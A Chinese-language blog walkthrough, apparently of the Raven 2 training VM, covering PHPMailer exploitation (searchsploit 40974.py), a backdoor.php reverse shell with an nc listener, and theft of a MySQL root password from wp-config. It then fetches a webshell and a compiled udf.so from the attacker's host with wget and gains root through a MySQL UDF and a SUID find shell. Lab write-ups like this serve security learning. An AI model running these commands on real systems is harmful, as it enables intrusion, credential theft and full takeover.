Raven 2 靶機滲透
阿新 • • 發佈:2020-06-02
## 前言
近幾天比較閒,在上週也閒著無聊跑去盒子挖了一週的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。
## Raven 2 靶機滲透
搭建完環境後,發現並沒有登入賬號和密碼,使用御劍高速掃描,先掃描機器的ip和埠,看看有沒有啥能利用到的。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201122773-654242210.png)
發現了192.168.27.136 ip 並且80埠和22埠是開啟的,首先先從80埠,嘗試 來嘗試掃描目錄。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201157659-1610090893.png)
掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201216570-501553058.png)
連線超時!!! 果斷放棄!!!
但是作為一個年輕小夥子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]
翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201235154-806653867.png)
點開readme.md 發現是個PHPMailer
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201316500-889289462.png)
由於以前也沒見過,上百度查了一下才知道是個傳送電子郵件的函式包。
去百度查找了一下 居然有命令執行漏洞。
為了方便,直接就在kali裡面的漏洞庫去查詢exp
> searchsploit phpmailer
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201346691-1755991631.png)
這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查詢的他版本。
在我開啟vendor/version檔案的時候,直接就顯示了版本
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201408207-948420950.png)
確定版本後就可以直接下載exp了,
>searchsploit -m 40974.py
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201423877-1572922671.png)
首先檢視一下程式碼。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201459847-1159703694.png)
這裡的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。
那麼我們還需要查詢他的絕對路徑。
>http://192.168.27.136/vendor/PATH
檔案裡面查詢到了路徑,而且拿下了一個flag。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201602297-1974784768.png)
這裡並不打算去拿flag,而是直接拿許可權[手動滑稽][手動滑稽]。
現在就可以開始來改我們的exp了
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201635057-751691274.png)
這裡把target改成了
>http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。
在執行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的預設編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字元所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201657259-195562696.png)
這裡直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問後可以直接反彈shell了
kali啟動一個nc監聽
>nc -lvp 4444
訪問backdoor.php 反彈成功
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201729369-182796612.png)
nc 模式的shell不支援su互動,使用py進入到偽終端
>python -c "import pty;pty.spawn('/bin/bash')"
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201747237-1087395737.png)
輸入whoami發現,是個www的許可權,許可權比較低,還需要進行提權的操作,先來檢視一下開放的埠
>netstat -ano
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201826096-870369326.png)
發現他的3306埠是開放的,mysql 5.6以下的預設安裝為system許可權或者是root許可權。這裡嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對資料庫進行查詢操作的話都是需要連線資料庫的,基本上都會去包含資料庫的連線檔案,而資料庫連線檔案一般命名為config.inc.php,config.php。
這裡就來找一下,進入wordpress目錄看到wp-config.php來檢視一下。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602201948633-966978982.png)
翻找到了root賬號的密碼為:
>R@v3nSecurity
然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。
>echo "\" > 1.php
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602202147199-1806150602.png)
寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。
那麼就直接換個思路,直接讓他去請求遠端的檔案進行下載
放在伺服器上面的時候,不能一指令碼格式進行上傳,不然指令碼會直接執行,將他命名為cmd.txt檔案,然後搭建臨時web服務
>php -S 0.0.0.0:88 -t /root
使用php啟動web服務 設定根目錄為root
>wget http://192.168.3.68:88/cmd.txt
請求檔案
>mv cmd.txt cmd.php
把檔案改名為php字尾,然後使用蟻劍進行連線。
連線成功後,使用管理資料功能,進行mysql連線,查詢mysql版本資訊。
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602202242277-1553517364.png)
>這裡還有幾個注意事項,在mysql 4.1版本前任何的dll檔案的函式都能匯入到mysql裡面去讓mysql呼叫,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,建立函式時候對應的dll不能包含斜槓或者反斜槓,
不能是絕對路徑,所以會將dll匯出到systm32目錄下,去繞過這個限制。
在mysql5.1版本後,建立函式的dll只能放在mysql的plugin目錄下,也就是外掛目錄
使用mysql語句來檢視plugin目錄位置
>show variables like '%plugin%';
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602202310766-1603994893.png)
現在我們還得下載一個linux版本的udf
>searchsploit udf
>searchsploit -m 1518.c
從漏洞庫把udf下載下來後,是個c檔案還得使用gcc進行編譯後才能使用
>gcc -g -c 1518.c
>gcc -g -shared -o udf.so 1518.o -lc
編譯完成後,使用wget遠端下載
>wget http://192.168.3.68:88/udf.so
資料庫建立表:
>create table nice(line blob);
表中插入udf.so的資料
>insert into nice values(load_file('/var/www/html/udf.so'));
插入完成後,再使用sql語句從nice表中匯出資料到plugin目錄下
> select * from nice into dumpfile '/usr/lib/mysql/plugin/udf.so';
匯出完成後,這裡就可以直接建立一個函式,來進行執行命令了
>create function do_system returns integer soname 'udf.so';
建立完成後可以查詢是否建立成功
>select * from mysql.func;
>select do_system('chmod u+s /usr/bin/find');
>touch finn
>finn -exec "/bin/sh" \;
>whoami
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602202326582-1427059281.png)
提權成功。
>cat flag4.txt
[手動狗頭][手動狗頭]flag真香
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602202744920-2041402586.png)
## 結尾
最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心
![](https://img2020.cnblogs.com/blog/1993669/202006/1993669-20200602202626066-9207951